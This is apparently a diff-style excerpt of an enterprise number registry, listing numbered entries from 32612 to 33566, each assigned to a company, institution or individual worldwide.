+32612 MORISAKI TAKATOSI
+32613 California State Legislature
+32614 YOU Telecom India Pvt. Ltd.
+32615 ELPROC sp. z o.o.
+32616 OpenSourceXpress Ltd.
+32617 Polytechnical Engineering College in Subotica
+32618 Fiok i Wspólnicy Sp. z o.o.
+32619 Movik Networks, Inc.
+32620 AnueSystems
+32621 Franklin University
+32622 CACE Technologies
+32623 Kuni Automotive
+32624 Khomp Ind. e Com. Ltda
+32625 GoPC Pty Ltd
+32626 Security Cube
+32627 Emageon, Inc.
+32628 AXIOMTEK Co., Ltd.
+32629 DIGI Ltd
+32630 Trezorix
+32631 LIYO Technology Co. Ltd.
+32632 Excluvior
+32633 Ors TISZAY
+32634 Bluetick, Inc.
+32635 Sisters of Mercy Health Systems
+32636 ITS Electronics Inc
+32637 Perceptech Inc.
+32638 iStor Networks Inc.
+32639 Tribunal Electoral del Poder Judicial de la Federación
+32640 NeoCatena Networks Inc.
+32641 Security Services Framework
+32642 Föreningen DIS
+32643 Krakowskie e-Centrum Informatyczne JUMP
+32644 BWS Consultores C.A.
+32645 Coty Inc.
+32646 Pneumatic Tube Products Co, Inc
+32647 Federal Defender Office
+32648 Vortex Technology Networks
+32649 Beijing Raycomm Digital Technology Co.,LTD
+32650 Namtrac Kft.
+32651 Newtec Communications GmbH
+32652 Machine VFX
+32653 Piksel Ltd.
+32654 Institut für Experimentelle Kernphysik, KIT
+32655 Classics Animated
+32656 Hypios
+32657 particle dynamics GmbH
+32658 Iconoclast IT
+32659 SAT-TRAKT d.o.o.
+32660 Joachim Keltsch
+32661 MITSUBISHI ELECTRIC ENGINEERING CO.,LTD.
+32662 NTTME
+32663 IFIN Sistemi srl a socio unico
+32664 DSR Information Technologies Ltd.
+32665 Veccsa S.A.
+32666 Integrated Healthcare Solutions
+32667 Ultrablend LLC
+32668 IPFire.org
+32669 consistec Engineering & Consulting GmbH
+32670 Consilience Software
+32671 Graspi
+32672 betabuild.net
+32673 WAB Sicherheitssysteme GmbH
+32674 GeekNode
+32675 Cracow University of Economics
+32676 Softwarehuset.DK
+32677 EMI Music Ltd.
+32678 Framestore Ltd
+32679 Zinc Solutions
+32680 Rentabiliweb Group
+32681 Atwal Inc
+32682 Text Team GmbH & Co. KG
+32683 TOKYO KEIKI INC.
+32684 Healthtrans LLC
+32685 Redefine Sp. z o.o.
+32686 Holly Corporation
+32687 Digital Finance SPDA
+32688 Gigle Semiconductor
+32689 MWJ Computing
+32690 Comrex Corporation
+32691 eXMeritus Software Federal Systems, Inc
+32692 Amcom Telecommunications Ltd
+32693 E-számla Zrt.
+32694 ComputerPride
+32695 VOZPP
+32696 ZAKLAD PRODUKCYJNY TEL-KA S.C.
+32697 ACO Serverin Ahlmann GmbH & Co. KG
+32698 SE-Elektronic GmbH
+32699 Thales Alenia Space France
+32700 INBUSS Informatikai Szolgáltató és Kereskedelmi Kft.
+32701 Loyalty Partner GmbH
+32702 Joint Stock Company "NPO RusBITech"
+32703 Centre de Recherche Henri Tudor - SANTEC
+32704 JSC ErshovTelecom
+32705 dSys e.K.
+32706 Reech Capital Ltd
+32707 Pi Consulting (UK) Limited
+32708 Dimaco Systems S.R.L.
+32709 AirTies
+32710 Lojas Renner S.A.
+32711 fides AG
+32712 Linden Lab
+32713 Flox-arts.net
+32714 IPS MeteoStar
+32715 IBM Managed Security Services
+32716 Alea Soluciones SLL
+32717 Gemintek Corporation
+32718 Southwestern University of Finance and Economics
+32719 3Nokta Bilisim Teknolojileri Ltd.
+32720 CVR Transport Kft
+32721 RTPHYS
+32722 MAASTRO
+32723 Pacemaker Cluster Project
+32724 AIRDATEC TECNICOS, S.L.
+32725 Trans Iceland
+32726 Tatis
+32727 Webtech as
+32728 Grid Dynamics Consulting Services, Inc
+32729 EMS Satcom
+32730 Mobile For You - M4U
+32731 obviously-nice
+32732 W.K. Kellogg Foundation
+32733 Phybridge Inc
+32734 City of Seattle
+32735 SecurityNet.cz s.r.o.
+32736 SHD System-Haus-Dresden GmbH
+32737 Meghnaben Daxeshbhai Patel
+32738 Delta Nusantara Networks Co., Ltd.
+32739 Saimaan Lehtipaino Oy
+32740 Lehtikanta Oy
+32741 Savon Paino Oy
+32742 Hämeen Paino Oy
+32743 Sanomala Oy
+32744 KAMEKO Bt
+32745 DURAG data systems
+32746 Instituto de Biología, Universidad Nacional Autónoma de México
+32747 telenet AG Rhein-Main
+32748 KolosStudio
+32749 TrustMission
+32750 LigoWave
+32751 Solytron
+32752 John Will Motors
+32753 Omniture Inc.
+32754 Dexcel Electronics Designs Pvt Ltd
+32755 Wesabe, Inc
+32756 Creative Solutions Laboratories Sp. z o.o.
+32757 ChartConnect Inc.
+32758 ANAGKY BVBA
+32759 PRIM'X Technologies
+32760 Koliada
+32761 Deliberant
+32762 AKSolutions
+32763 YMAGIS
+32764 inTechnology PLC
+32765 WebHost Asia Pacific Pty Ltd
+32766 Capricode
+32767 JPPA Gerenciamento e Projetos S/S LTDA.
+32768 Educational Service Unit 6
+32769 BIZICLE
+32770 Hoedl-Online-Systemtechnik
+32771 Fujitsu Tohoku Systems Ltd.
+32772 Declera Ltd.
+32773 Jeremy Self
+32774 wei fang lesheng electronic CO.,LTD
+32775 Gigaset Communications
+32776 Harry J.E Day
+32777 BowBridge Software
+32778 Raiffeisen Bank Hungary
+32779 BBS AS
+32780 synergetic AG
+32781 Groupe Chevalier
+32782 Conseil Général du Morbihan
+32783 ECRIN SYSTEMS
+32784 Amplia Soluciones S.L.
+32785 PWI Consultants
+32786 MasonRay Networks
+32787 Aprend Technology
+32788 Ennoris Trans
+32789 Institute of Economics, Management and Law
+32790 Raz-Lee Security
+32791 ICSMED AG
+32792 Atex Group Ltd.
+32793 Shenick Network Systems
+32794 LuTong Optoelectronic Technology Co.,Ltd
+32795 Westnet Ptd Ltd
+32796 i-STS Manufactuiring
+32797 Asempra Technologies
+32798 Netlinx, Inc.
+32799 www.thingall.com
+32800 www.neuq.edu.cn
+32801 ObjectFX
+32802 Inuk Networks
+32803 Research Institute for Linguistics, Hungarian Academy of Sciences
+32804 Unify Software and Solutions GmbH & Co.
+32805 CR Host
+32806 scientia.net
+32807 TVACE
+32808 SynTech Soc. Coop. a R.L.
+32809 Evalesc GmbH
+32810 Lancashire Constabulary
+32811 Gemnet bv
+32812 ICFO
+32813 GXPCONSULT LIMITED
+32814 RealTime7 Inc.
+32815 Consert, Inc
+32816 AREYOUNET.COM
+32817 Shifted Labs
+32818 Tecton Limited
+32819 Infonet Network Systems
+32820 Mundo Linux
+32821 martin mollet informatik
+32822 PGS
+32823 Hextra Digital, S.L.L.
+32824 Free Open Source Solutions Inc.
+32825 LS cable
+32826 Tongji University
+32827 Siemens I MO TS
+32828 Guntermann & Drunck GmbH Systementwicklung
+32829 Marc Cain GmbH
+32830 Questora Software, CJSC
+32831 IDS
+32832 Optech Fibres Limited
+32833 Université Lille 2 Droit et Santé
+32834 ANTALIS SPAIN
+32835 Data Driven Logistics Limited
+32836 C2SAT communications AB
+32837 Lohmann GmbH&Co.KG
+32838 University of AJK CS&IT Campus Mirpur azad Kashmir
+32839 olea medical
+32840 Krum Independent School District
+32841 Constant Contact
+32842 Seidl KEG
+32843 Information Computing Center of Ministery of Communications and Information Technologies
+32844 die-rudolphs
+32845 Metric Systems Corporation
+32846 Cougaar Software, Inc.
+32847 DataStress
+32848 Arquila Limited
+32849 Active Broadband Neworks Inc
+32850 C4i Pty Ltd
+32851 Aytel
+32852 Towerstream
+32853 Pixel8 Networks
+32854 OmniGlobe Networks, Inc.
+32855 Total Transaction Management, LLC
+32856 JL Ingram & Associates CC T/A The Hardware Junction
+32857 Openware
+32858 nerdnet.ca
+32859 Escuela Politécnica Nacional
+32860 Expert Systems (Pvt.) Ltd.
+32861 Shenzhen LinkPower Network Systems Co.,LTD.
+32862 Böning IT-Service
+32863 OmniTI Labs
+32864 Workflow.com, LLC
+32865 Heol Design
+32866 rockyluke
+32867 University of Economics Prague
+32868 Diamante Technology Advisors, Inc.
+32869 Gravitas MM Ltd
+32870 Fujian Sunnada Communication Co., Ltd
+32871 BUPT Incowin Information Communication Technology Institute Ltd.
+32872 Royal Alberts Broadcasting Network
+32873 KONE Corporation
+32874 Novatium Solutions Private Limited
+32875 vedicis
+32876 Marian Fotul
+32877 Radio Amateurs Against Packet Radio
+32878 MediaPod SARL
+32879 Eugene 4J School District
+32880 Knerer & Lang Architekten GmbH
+32881 BeeMobile
+32882 GameAccount Global Ltd
+32883 One23 Designs
+32884 Chemnitzer Verlag und Druck GmbH & Co. KG
+32885 H-Net AG
+32886 Restorepoint (formerly 'TADASoft Ltd')
+32887 Joseph King ICT Consultants
+32888 Bizsensors
+32889 The College at Brockport State University of New York
+32890 Bigred Solutions Ltd
+32891 Jangwhan Kim
+32892 caplog-x GmbH
+32893 BJ's Deisgn & Consulting, Inc.
+32894 Touro College
+32895 BRICOM Technology Co., Ltd.
+32896 Jarn AS
+32897 Megware Computer GmbH
+32898 Spectrum Health
+32899 Quist Ltd.
+32900 Dimensional Insight
+32901 SAGI-B Expert Group Sp. z o.o.
+32902 Verizon
+32903 Lincoln Laboratory
+32904 NUMLOG
+32905 Cognito Ltd
+32906 Rorotika Technologies
+32907 NPO RTC, Ltd.
+32908 ADVENAGE GmbH
+32909 Kinek Technologies Inc.
+32910 Impeq Technologies BV
+32911 Brian Raaen Network Consulting
+32912 Duck Creek Technologies, Inc
+32913 Electrodata Recorders Pty Ltd
+32914 Pharmacy Chain 36.6
+32915 Edinburgh's Telford College
+32916 Lane Community College
+32917 GT Apps Limited
+32918 Institut Sainte Catherine
+32919 Barking Iguana
+32920 ETSA
+32921 Orbis Technology Ltd
+32922 Verathon
+32923 Alastair Carr
+32924 Menturagroup Ltd
+32925 Treck Inc.
+32926 WebOnyx
+32927 Unlabeled Artists Group, LLC
+32928 BrightHouse
+32929 Squarewave Computing
+32930 Wolfgang Karall EDV Consulting and Training
+32931 TOTEC AMENITY LIMITED (formerly 'easynet, inc.')
+32932 Direct Telecom Ltd
+32933 Conduct AS
+32934 Institute of Biophysics of the CAS, v.v.i.
+32935 Amalto Technologies
+32936 Atelier Decora
+32937 uma information technology GmbH
+32938 Server Racks Australia
+32939 Hochschule Hannover
+32940 NCC AB
+32941 Azet.sk, a.s.
+32942 Voltage Security
+32943 HEXIOS
+32944 drs4drs
+32945 Norsk eSport DA
+32946 Manuel Meistrowitz
+32947 Nuclemed S.A.
+32948 UniFirst Corporation
+32949 SunWater
+32950 Meucci Solutions
+32951 Wellseeing Communication Technology Co.,Ltd
+32952 PheeNet Technology Corp.
+32953 YACOUB Automatiom GmbH
+32954 Italiaonline S.p.A.
+32955 Hrvatske sume d.o.o
+32956 ipct.net
+32957 IN Switch Solutions
+32958 YMMV LLP
+32959 Audit Bureau - Qatar
+32960 Ringsted Kommune
+32961 KBC Consumer Finance
+32962 Beijing Gefei Tech. Co., Ltd
+32963 Taekjin Solutions
+32964 Brand Up LLC
+32965 REAL Solutions S.A.
+32966 eSpida Limited
+32967 Centro de Tecnologia da Informação Renato Archer
+32968 HELiX Software + Support GmbH
+32969 Odin TeleSystems Inc
+32970 Caltha - Krzewski, Mach, Potempski Sp. J.
+32971 MUZICALL
+32972 TransWorks, Inc.
+32973 POP.PL - Internetowe Systemy Sieciowe
+32974 Stimulus Software
+32975 CircleSoft Llc
+32976 HyC Américas
+32977 TELoIP
+32978 IntelliDOT Corporation
+32979 XIX
+32980 Hitachi Systems Engineering Services, Ltd. (formerly 'Hitachi Systems Engineering and Solutions, Ltd.')
+32981 Arcadyan Technology Corporation
+32982 Trends Telematics BV
+32983 Open Computing Solutions
+32984 Advantage Telecom
+32985 Philips Electronics (Israel) LTD - Philips HealthCare
+32986 Kommunik8 Inc.
+32987 Barrowa
+32988 Dott. Giulimondi Gabriele
+32989 in-volv
+32990 Prahm IT-Systemdienstleistungen
+32991 dix.cz
+32992 ladava.com
+32993 OpenSAF Foundation
+32994 Standingstone
+32995 Vendio Services, Inc.
+32996 GOURMET NAVIGATOR INCORPORATED
+32997 Tuijnman Professional Services
+32998 Shanghai DareGlobal Technologies Co.,Ltd.
+32999 Air Transportation Advancement Program
+33000 Zeon Corporation
+33001 Micro Talk Systems Corp.
+33002 Open End AB
+33003 SHENZHEN GONGJIN ELECTRONICS CO.,LTD
+33004 Universal Scientific Industrial (Shanghai) Co., Ltd
+33005 Artio Oy
+33006 MGB-Tech B.V.B.A.
+33007 Schoenhofer Sales And Engineering GmbH
+33008 TV 2
+33009 Stadtverwaltung Mannheim
+33010 IRB Barcelona
+33011 digital performance
+33012 FASTFOOD-SERVICE LTD.
+33013 NexAira, Inc.
+33014 Network Zen
+33015 Emilie Myers and Associates
+33016 Ajuntament de Barcelona
+33017 Mobito Inc
+33018 Pilin-Echtar.NET
+33019 Huntsville Hospital
+33020 Rebel 2000 Limited
+33021 WFG PARTICIPAÇÕES S.A.
+33022 Simon & Stolle GbR
+33023 Eoos Technologies GmbH
+33024 Lenovo Chinaweal System & Service Co.,Ltd
+33025 Atlanta Advanced Communications Holdings Limited
+33026 Positive Advisory S.A.
+33027 CAJA DE AHORROS DE GALICIA
+33028 Prassel S.r.l.
+33029 CJSC “Borisoglebsk Communication System"
+33030 Timico Ltd
+33031 C.G.C.,a.s.
+33032 CTP GmbH
+33033 Probability PLC
+33034 Taleo Inc.
+33035 InGenius Software
+33036 A.ö. Krankenhaus der Elisabethinen Linz
+33037 Broadcast International
+33038 Fluor Corporation
+33039 Adapt4 LLC
+33040 BeatleNet Ltd.
+33041 ZEIT Verlag Gerd Bucerius GmbH & CO KG
+33042 bitrausch
+33043 Shared Autonomous sYstems
+33044 Mantica Solutions S.L.
+33045 JinPeng
+33046 NEXTWERK IT-Services GmbH
+33047 Freifunk Potsdam e.V.
+33048 Brand
+33049 Mellanox Technologies LTD
+33050 China IWNCOMM Co., Ltd.
+33051 flykernel
+33052 Dhyan Infotech Inc.,
+33053 Vialis bv.
+33054 iPLON GmbH The Infranet Company
+33055 Van Dijk Educatie BV
+33056 Cambridge Research Systems Ltd.
+33057 CRISOL DE FRUTOS SECOS S.A.T
+33058 Stratus Telecommunications
+33059 MOBITRUM
+33060 International Computer Science Institute
+33061 University of Shanghai for Science & Technology
+33062 Netvision Telecom Inc.
+33063 DVN Technology Limited
+33064 A2B Electronics AB
+33065 CertiCon a.s.
+33066 SmartSynch, Inc.
+33067 Lake Cumberland District Health Department
+33068 F2Ware Inc.
+33069 Grieshaber Logistik AG
+33070 Alkaloid Networks LLC
+33071 BBMS AS
+33072 subsist GmbH
+33073 System Analysis and Information Technologies Conference
+33074 Oryx Mail Systems GmbH
+33075 linux systeme thomas
+33076 SHAROPS SASU (formerly 'SCORE42 SAS')
+33077 InformSvyazStroi, Ltd.
+33078 Ganymeade Systems
+33079 EmblaCom Oy
+33080 Drexler Hard- und Software e.K.
+33081 KOGAN
+33082 zozs.se
+33083 Seafreeze Acquisition LLC,
+33084 Box and Dice Software Pty Ltd
+33085 Mueller Ltd. & Co. KG
+33086 ims Info Management System AG
+33087 International School of Stuttgart e. V.
+33088 Versatile Knowledge System
+33089 Fachhochschule für öffentliche Verwaltung NRW
+33090 xxlboy
+33091 TCRP
+33092 Opsource
+33093 LexisNexis RIAG
+33094 Netactive Systems Ltd
+33095 HyTrust, Inc.
+33096 Hard To Port Productions
+33097 Adligo Inc
+33098 Gradient Effects
+33099 Rudra Nevatia
+33100 ELITE Sistemas
+33101 Danube Data Center GmbH
+33102 Engelsburg Gymniasum
+33103 EmisFR
+33104 KyaPanel
+33105 D-ns
+33106 Softbooking
+33107 Meetup, Inc.
+33108 Nexen Services, Alter Way Hosting
+33109 Cumquat Information Technology BV
+33110 ITD Network SA
+33111 dickicht.org GbR, Ragnar Nevries & Robert Waltemath
+33112 Vidient Systems, Inc.
+33113 FXhome
+33114 Maricopa County Community College District
+33115 Shamir Systems Ltd.
+33116 Solvo, Ltd.
+33117 Linuxense Information Systems Pvt. Ltd.
+33118 Freescale Semiconductor
+33119 AltaStream Controls Inc
+33120 eZ Systems
+33121 Tadcom AB
+33122 Vestmark, Inc.
+33123 ProTel Communications Ltd
+33124 ASKing Co., Ltd.
+33125 Precise Power, Inc.
+33126 DataSoft Corp.
+33127 Dialog und Medien Agentur der ACS mbH
+33128 Semperian Capital Management
+33129 ENTEREST GmbH
+33130 Virtual Instruments Corporation
+33131 Drexel University
+33132 Lichti² GbR
+33133 Daedalus Software, Inc.
+33134 LS ELECTRIC Co.,Ltd.
+33135 PeakSystems
+33136 ELPRO VIDEOLABS srl
+33137 JIGAR
+33138 TENA SDA
+33139 5gbit.de
+33140 theBside
+33141 e-Rank Internetdiensten
+33142 Manuel Kobashigawa
+33143 Clipsal Australia Pty Ltd
+33144 Kitten Wranglers Unlimited
+33145 Digivision Entertainment Private Limited
+33146 Stiftung Nikolauspflege
+33147 Olivier BONHOMME
+33148 British Columbia Wireless Network Society
+33149 Defining Technology, Inc.
+33150 silmarilli.eu
+33151 CAIL Technologies
+33152 ASIC North, Inc.
+33153 TeleDNA Communications Pvt. Ltd.
+33154 NPO Impuls
+33155 Code Jawa
+33156 Monsternett AS
+33157 fqdn dot Ro
+33158 ak obs, ltd.
+33159 AGS INFORMATIQUE
+33160 The Invariant Autocracy
+33161 www.libvoip.com
+33162 DCS Internet Pty Limited
+33163 Gundersen Lutheran
+33164 datahouse AG
+33165 Minds + Machines
+33166 Fiasko Software
+33167 Trusted Logic
+33168 mLife Sp. z o.o.
+33169 Via-Vox Limited
+33170 International Financial Data Services (Canada) Ltd.
+33171 HELIKA, a.s.
+33172 NetClean Technologies Sweden AB
+33173 Annidis Health Systems Corp
+33174 COMM-connect A/S
+33175 ZIEHL industrie-elektronik GmbH+Co KG
+33176 Rambla
+33177 Radiation Oncology Victoria
+33178 Jilin University
+33179 omod
+33180 PayLife Bank GmbH
+33181 LASELEC S.A.
+33182 Advanced Network Engineering Consultants Limited
+33183 SystemsPromAutomatic
+33184 AsiaRF Ltd.
+33185 jps networks
+33186 Data Robotics, Inc
+33187 Commission de la santé et de la sécurité du travail (CSST)
+33188 DANS – Data Archiving and Networked Services
+33189 Droplet Technology Inc
+33190 Petroleum Development Oman LLC
+33191 Equine Technology Pte Ltd
+33192 University of Žilina
+33193 Powercom Consultants Pty Ltd
+33194 Klarna Bank AB (formerly 'Kreditor Europe AB')
+33195 Bimash LLP
+33196 VITA
+33197 WIT
+33198 SISCA
+33199 "TERRATEL" LLC
+33200 Gelber Group LLC
+33201 3F Elettronica s.n.c.
+33202 ASUMO CO., LTD.
+33203 SensiMesh Pte Ltd
+33204 Sprillion Technologies
+33205 Elman srl
+33206 Aqueouslife
+33207 CEJIL - Center for Justice and International Law
+33208 AMB Consulting SARL
+33209 Dich Networks Co.
+33210 Qvantel
+33211 Westminster College
+33212 Rötzer Engineering
+33213 Moeller GmbH
+33214 IPBFR
+33215 Swisscanto Assetmanagement AG
+33216 Dr. August Oetker Nahrungsmittel KG
+33217 accessec GmbH
+33218 Polar Circle AS
+33219 Causata Ltd
+33220 Netfonds Bank ASA
+33221 Insumo Systems
+33222 INECOIEC
+33223 Aero-Info Technologies Co.,Ltd.
+33224 CJSC Rosta
+33225 Obelux Oy
+33226 Inline Internet Online Dienste GmbH
+33227 PromiNet s.r.o
+33228 AareNet AG
+33229 COMUNICI GmbH
+33230 Blueloop Ltd
+33231 AvL Technologies
+33232 stderr.nl
+33233 ALERT Life Sciences Computing, S.A.
+33234 Halon Security
+33235 DataHack
+33236 AMTRON GmbH
+33237 Authernative, Inc.
+33238 ReachLocal, Inc.
+33239 Active Control Technology Inc.
+33240 Salamander Technologies, Inc.
+33241 CITIZEN SYSTEMS JAPAN CO., LTD.
+33242 PanTek
+33243 China Broadband Wireless IP Standard Group
+33244 William Demant Holding
+33245 kaf.cz
+33246 UAB Pivot Capital Management
+33247 Daton Securities Co., Ltd.
+33248 Radix Development Corporation CC
+33249 BI@Work S.r.l.
+33250 SmurfitKappa News press
+33251 REASON TECNOLOGIA S.A.
+33252 Flashlight Engineering & Consulting
+33253 MiS Inc.
+33254 TimeData Corporation
+33255 Kentucky Christian University
+33256 Small Office Networks
+33257 Dienste fuer Menschen gGmbH
+33258 dzhon pty. ltd. (formerly 'mosais pty. ltd.')
+33259 Martin DiViaio
+33260 Triescom Co., Ltd.
+33261 Resilans AB
+33262 Jäger Computergesteuerte Messtechnik GmbH
+33263 Raiffeisen Information Service KonsGmbH
+33264 EPI Service Ltd
+33265 Robert Rhea Photography
+33266 ISOMEDIA, Inc.
+33267 The SPACEPOL Corporation
+33268 ClearTech Ltda
+33269 Ecessa corporation
+33270 Sysmap Solutions
+33271 Baptist Care (SA) Inc
+33272 Med-RT, LLC
+33273 Gomez & Associates
+33274 Nestle Waters North America
+33275 The Hutchins School
+33276 KDN (Korea Electric Power Data Network)
+33277 Pfiffner Gruppe
+33278 Confident Instruments, Inc.
+33279 Mazioli LTDA-ME
+33280 OWFS -- One Wire Filesystem
+33281 New Dream Network
+33282 Eastern Oregon University
+33283 AN-D.cz
+33284 Macquarie Group Limited
+33285 NavStar Geomatics Ltd
+33286 KIPAC
+33287 Epix LLC
+33288 GEVAS software GmbH
+33289 Metalor
+33290 Bundesverfassungsgericht
+33291 Microvideo Ltd
+33292 Fordham University
+33293 Jenkins Shipping Company Ltd
+33294 Lincor Solutions Ltd
+33295 Georg Utz, Inc.
+33296 LepomisLab, LLC
+33297 Arion Systems Pvt. Ltd.
+33298 Wikimedia Foundation, Inc.
+33299 Ithos USA
+33300 Linkare TI
+33301 Mee IT Solutions Co.,Ltd.
+33302 Trio Datacom
+33303 Dannatu AG
+33304 EudoxeSoft SARL
+33305 Ark Computing
+33306 Telemaque
+33307 St. Jude Children's Research Hospital
+33308 DataCode srl
+33309 Aochuang Electronic Equipment Co.,Ltd.
+33310 ZMC Elektronika d.o.o.
+33311 Everest Software International
+33312 Forenet, Inc.
+33313 SoeKul, LLC
+33314 Servicio Nacional de Rehabilitación
+33315 Max-Planck-Institut fuer Informatik
+33316 Government of Saskatchewan
+33317 INCITS Technical Committee T11
+33318 AIDS Law Project
+33319 Technische Universität Kaiserslautern
+33320 Skarvon
+33321 Tradesmen International Inc
+33322 Progress Financial
+33323 Chaos Eternal Network
+33324 Istochnik Ltd.
+33325 MSB Micro Systems
+33326 PERTUS
+33327 ZIP Sistemas S.L.
+33328 NetArt Piotr Nowak
+33329 Encode Networks Svenska AB
+33330 Relevantum Oy
+33331 Balance Network Co. ,Ltd.
+33332 City of Edmonton
+33333 Morningstar Corporation
+33334 STEALTHbits Technologies, Inc.
+33335 TrueOffice
+33336 Kat5Design
+33337 elineis
+33338 Comkom GmbH
+33339 The Charity Bus
+33340 Fundacio Privada Universitat Abat Oliba CEU
+33341 Beijing TongFang Gigamega Tech. co., Ltd.
+33342 u-blox AG
+33343 Storebrand ASA
+33344 SC Garant Industries SRL
+33345 Branded Payment Solutions
+33346 Conseil Général des Pyrénées Atlantiques
+33347 Papa John's International, Inc
+33348 Voidnet.biz
+33349 Mohawk College of Applied Arts and Technology
+33350 GALLACCI COMMUNICATIONS
+33351 Hospital Service Association of Northeastern Pennsylvania
+33352 MAX Technologies
+33353 2Ring
+33354 Kaasjager Consultancy
+33355 Ozeki Informatics Ltd.
+33356 HEADJAPAN Co.,Ltd.
+33357 TWINSEC GmbH
+33358 ApplianSys Ltd
+33359 VUT GmbH
+33360 Kahaf (pvt) Ltd
+33361 Cursum
+33362 DataSchenk, Inc.
+33363 Duff & Phelps, LLC.
+33364 ginkgotek
+33365 Edelbluth Engineering
+33366 Columbia Data Products, Inc
+33367 VIRTUALMGS
+33368 VTRON TECHNOLOGIES LTD.
+33369 Sino-telecom Technology Co.,Ltd
+33370 Erasmus MC Rotterdam
+33371 Kelkoo
+33372 Infocare AS
+33373 ZeroPoint.it
+33374 SFProjects
+33375 Dalee LLC
+33376 Argeon Limited
+33377 Paul Armstrong
+33378 Zetta, inc
+33379 KLabs
+33380 ICS Computer Services SA
+33381 DVS Digital Video Systems AG
+33382 chillyweb
+33383 Audisoft Technologies
+33384 eSaturnus
+33385 Feeva Technology Inc.
+33386 Hyper9
+33387 SS7 Solutions
+33388 InCASE - Sven Mueller
+33389 Keyboard Monkeys Ltd.
+33390 Cormedica
+33391 OSI d.o.o.
+33392 Source Allies, Inc
+33393 C-NET Information Technology LTD.
+33394 Mio Software Laboratory Inc.
+33395 Washington State Consolidated Technology Services
+33396 Ferpa Consultoria e Sistemas Ltda.
+33397 CreAPPtive Limited
+33398 Traffic Management Technologies
+33399 Egyption Root certification authority
+33400 Anywire Corporation
+33401 Servera, Inc.
+33402 Quadrizen
+33403 Radiocomp ApS
+33404 Dipl.-Ing. Christian Lindemann
+33405 EISST Limited
+33406 Keller Williams Realty Intl
+33407 I-Evolve
+33408 BASIS International Ltd.
+33409 The Chronicle
+33410 FETAC
+33411 QNETIC LTD.
+33412 Kootenai Electric Cooperative, Inc.
+33413 ADSLWEB-dot-Net
+33414 Monitis Inc.
+33415 N-Com, L.P.
+33416 wondersgroup
+33417 PiN GmbH
+33418 Rila Feinkost-Importe GmbH und Co. KG
+33419 CNStreaming Technologies Co., Ltd
+33420 Voalte, Inc
+33421 South Gloucestershire Council CYP ICT
+33422 Com-Ned Netwerken B.V.
+33423 Safran Passenger Innovations Germany GmbH
+33424 ITXTEND LLC
+33425 Fortisbank NL NV
+33426 Mirae Ikorn company
+33427 5V Technologies Ltd.
+33428 TRAKCE, a.s.
+33429 Mobile Experts sp. z o.o.
+33430 Libra Szoftver Zrt
+33431 Oberfinanzdirektion Karlsruhe
+33432 MAHLE International GmbH
+33433 Interwetten
+33434 SDC Sistemi di Computer
+33435 dicas digital image coding GmbH
+33436 Lepida spa
+33437 Heidelberg Engineering GmbH
+33438 RIPN
+33439 Centralx
+33440 Centro Brasileiro de Pesquisa e Tecnologia em Informática Médica
+33441 Science Systems and Applications, Inc.
+33442 Bernards
+33443 Novus Entertainment Inc.
+33444 obtelecom
+33445 The London Library
+33446 Relay Station Ltd
+33447 Comtech Ltd.
+33448 Chemtura Corporation
+33449 Time2Dive
+33450 Facultad de Ingenieria Informatica, CUJAE
+33451 Infomed
+33452 Comsenz.Ltd
+33453 Polylogics Consulting, Inc.
+33454 Nippon Sogo Systems, Inc.
+33455 BVE Solutions
+33456 DCF Technologies
+33457 DANET.CZ s.r.o.
+33458 Colégio Santo Agostinho
+33459 Vivisimo, Inc.
+33460 //SEIBERT/MEDIA GmbH
+33461 DS Media Labs, Inc.
+33462 Zmac1, Inc.
+33463 Limelight Networks, Inc.
+33464 Leo Lab
+33465 Unlimited Bandwidth LLC
+33466 Kadeo Pty Ltd
+33467 Cyprotex
+33468 Future Skies
+33469 Produban Servicios Informaticos Generales
+33470 Vista Systems, Corp.
+33471 Alekstra Oy
+33472 Sittig Industrie-Elektronik GmbH & Co. KG
+33473 Unassigned
+33474 Regex
+33475 Botswana Power Corporation
+33476 Kittelberger media solutions GmbH
+33477 Sommer Mess-Systemtechnik
+33478 aserva GmbH
+33479 TradingScreen Inc
+33480 Canadian Automobile Association, South Central Ontario
+33481 Manufacturing Resources International
+33482 ManageIQ, Inc.
+33483 Goldflower Incorporated
+33484 Initech s.r.o.
+33485 Caribou Software
+33486 Silk Information Systems, Inc.
+33487 Packet Ship Technologies Limited
+33488 MoaningMarmot
+33489 NERO Network
+33490 GeneGO Inc.
+33491 Malviny International
+33492 Broadex Technologies, Shanghai
+33493 Loadcom Technology Shenzhen Co., Ltd.
+33494 Sekoci Maju Jaya
+33495 AXPO INFORMATIK AG
+33496 Spurious Logic Technology Services
+33497 Vahni Solutions
+33498 Andrew Kipcharskiy
+33499 KPN HotSpots
+33500 Vertex Antennentechnik GmbH
+33501 Novatice Technologies
+33502 Comunidad Autonoma Region de Murcia
+33503 Heavens-Above GmbH
+33504 Narodni technicka knihovna
+33505 tw telecom, inc.
+33506 Dassault Systemes (formerly 'Enginuity PLM LLC')
+33507 Elster Electricity, LLC
+33508 Avere Systems, Inc.
+33509 Sociedad Hebraica Argentina
+33510 Provincial Health Services Authority
+33511 Radiant Technologies, Inc.
+33512 TheMarkets.com LLC
+33513 Arvensian
+33514 LUMANTEK
+33515 Antonio Cunha Barbosa
+33516 Zhuhai Jiasin Industry Co., Ltd
+33517 Scourger.nl
+33518 Tap / Bkruse & Associates LLC
+33519 SkyMesh PTy Ltd
+33520 Modern Module Inc.
+33521 IKT Advanced Technologies s.r.o.
+33522 soit GmbH
+33523 Sword Real Time
+33524 measanctum
+33525 Bewigo Technologies SARL
+33526 DonaldWilson.Info
+33527 USDA
+33528 Krestfield
+33529 MIDASPLUS, INC.
+33530 EasyWay
+33531 Dmitry Komarchev
+33532 Valsts Robežsardze
+33533 Linkdevices Technology, Inc.
+33534 Systembase Limited
+33535 Herning Kommune
+33536 INESC Porto
+33537 BCV solutions s.r.o.
+33538 EDX Software Design
+33539 Europcar Information Services
+33540 Ion Beam Applications
+33541 w3variance
+33542 CBC Cologne Broadcasting Center GmbH
+33543 UHU Systems Kft.
+33544 T.Rowe Price
+33545 Entelec Control Systems
+33546 Axiros GmbH
+33547 Liberty Mutual Insurance Company
+33548 Managed I.T.
+33549 ZnamiNet
+33550 BIXOLON Co., Ltd.
+33551 David Jones
+33552 HiFull Technology
+33553 TBC Solutions
+33554 Genetech AB
+33555 RACOM s.r.o.
+33556 Hyperthought Solutions
+33557 University of Kent
+33558 powertron engineering co., ltd.
+33559 AXION - Red de Banda Ancha de Andalucia S.A.
+33560 Commercial Court of Tula Region
+33561 Express Gifts ltd
+33562 Judako AB
+33563 CNEA - Regional Centro
+33564 MEDIATECH
+33565 Epic Event International Pty Ltd
+33566 Dublin University Internet Society
